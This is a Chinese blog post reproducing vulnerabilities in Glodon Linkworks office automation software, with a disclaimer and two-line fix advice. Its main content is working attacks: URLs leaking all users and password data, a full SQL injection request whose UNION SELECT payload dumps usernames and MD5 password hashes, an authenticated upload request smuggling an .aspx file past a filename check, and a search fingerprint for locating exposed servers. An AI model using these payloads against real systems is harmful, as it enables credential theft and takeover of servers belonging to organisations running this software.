【漏洞复现】广联达OA漏洞合集(信息泄露+SQL注入+文件上传)

深碍√TFBOYSˉ_ 2024-03-02 08:30 45阅读 0赞

#### 文章目录 ####

*  声明
 *  广联达OA存在信息泄露
 *  一、漏洞概述
 *  二、漏洞复现
 *  三、修复建议
 *  广联达Linkworks办公OA SQL注入漏洞+后台文件上传漏洞
 *  一、产品简介
 *  二、漏洞概述
 *  三、复现环境
 *  四、修复建议

--------------------

## 声明 ##

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

## 广联达OA存在信息泄露 ##

## 一、漏洞概述 ##

广联达Linkworks办公OA存在信息泄露,攻击者可通过此漏洞获取账号密码登录后台,造成其他影响。

## 二、漏洞复现 ##

系统界面如下  
![在这里插入图片描述][10c3cd04031d43198562cfe6df3380ad.png]  
存在隐患的URL `http://url/Org/service/Service.asmx`  
![在这里插入图片描述][0e63d4371a62479f87784ba2ad60d14e.png]  
查看所有用户 `http://url/Org/service/Service.asmx/GetAllUsersXml`  
![在这里插入图片描述][3f000e1e48fb455284d18b4e55eb08ee.png]  
查看所有工程 `http://url/Org/service/Service.asmx/GetDeptXml4GEPS`  
![在这里插入图片描述][90ac4025534547dfbc83f479845281a7.png]  
查看账户密码 `http://url/Org/service/Service.asmx/GetUserXml4GEPS`  
![在这里插入图片描述][806144ee457144a88e9039cc30b004ec.png]  
解密后登录后台系统如下  
![在这里插入图片描述][48f7ae5f64084631a27c9649ebf93af4.png]

## 三、修复建议 ##

1、禁用泄露敏感信息的页面或应用。  
2、升级到安全版本

--------------------

## 广联达Linkworks办公OA SQL注入漏洞+后台文件上传漏洞 ##

## 一、产品简介 ##

广联达Linkworks办公OA(Office Automation)是一款综合办公自动化解决方案,旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具,帮助企业管理和处理日常办公任务、流程和文档。

## 二、漏洞概述 ##

由于广联达 Linkworks办公OA `GetIMDictionary`接口未对用户的输入进行有效过滤,将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。而`msgbroadcastuploadfile.aspx`接口处存在后台文件上传漏洞,攻击者通过SQL注入获取管理员信息后,可以登录发送请求包获取服务器权限。

## 三、复现环境 ##

*  鹰图指纹: `web.body="/Services/Identification/Server/"`  
    ![在这里插入图片描述][4bf91faaf8ad4a5086ec9ba509977c7b.png]  
    访问以下URL验证漏洞是否存在  
    `http://url/Webservice/IM/Config/ConfigService.asmx/GetIMDictionary`  
    ![在这里插入图片描述][fef7595b4bee453997c731fe580177a4.png]  
    如以上情况则证明存在漏洞。

**SQL注入**  
POC:

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
    Host: XX.XX.XX.XX:8888
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
    Cookie: ASP.NET_SessionId=zldmbkj4ufv4xjlkzvudfs31; GTP_IdServer_LangID=2052; portal_default_menu_name_0=%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 83
    
    key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER –

![在这里插入图片描述][79396beffca24042a147df7979bc2778.png]  
使用MD5解密,可尝试登录后台。

**后台文件上传**  
POC:

POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
    Host: XX.XX.XX.XX:8888
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
    Cookie: 登录后的cookie
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
    Content-Length: 195
    
    ------WebKitFormBoundaryFfJZ4PlAZBixjELj
    Content-Disposition: form-data; filename="2.aspx";filename="1.jpg"
    Content-Type: application/text
     
    123456
    ------WebKitFormBoundaryFfJZ4PlAZBixjELj—

![在这里插入图片描述][74c5508798404d18929f1cd6f3e226a5.png]  
![在这里插入图片描述][2c1182287cf14c148d9ca08316db5b26.png]

## 四、修复建议 ##

1、限制访问来源地址,如非必要,不要将系统开放在互联网上。  
2、更新至最新版本

[10c3cd04031d43198562cfe6df3380ad.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/7007bdd7f09a4047a5094f78c03dc951.png
[0e63d4371a62479f87784ba2ad60d14e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/ec17a12423be437089704f1aeb00fa15.png
[3f000e1e48fb455284d18b4e55eb08ee.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/10b368cb4fb746e88b3614933a56c3e8.png
[90ac4025534547dfbc83f479845281a7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/fb8577e72eb847399fee072dc8644e78.png
[806144ee457144a88e9039cc30b004ec.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/43968c8da76941278af27093cc5ea895.png
[48f7ae5f64084631a27c9649ebf93af4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/de54363a4f5b4a78bc264d2c5286c215.png
[4bf91faaf8ad4a5086ec9ba509977c7b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/cf96efd179a04e5abc5dfd337dcf27a3.png
[fef7595b4bee453997c731fe580177a4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/694af8a59dc2469988b6a855e74b3084.png
[79396beffca24042a147df7979bc2778.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/34100126eb69475ab290faacd4346038.png
[74c5508798404d18929f1cd6f3e226a5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/957a549d62904234b2b83bcac66ae5e2.png
[2c1182287cf14c148d9ca08316db5b26.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/02/4369b3eb768e41bdbf2ecdfcd4ac4252.png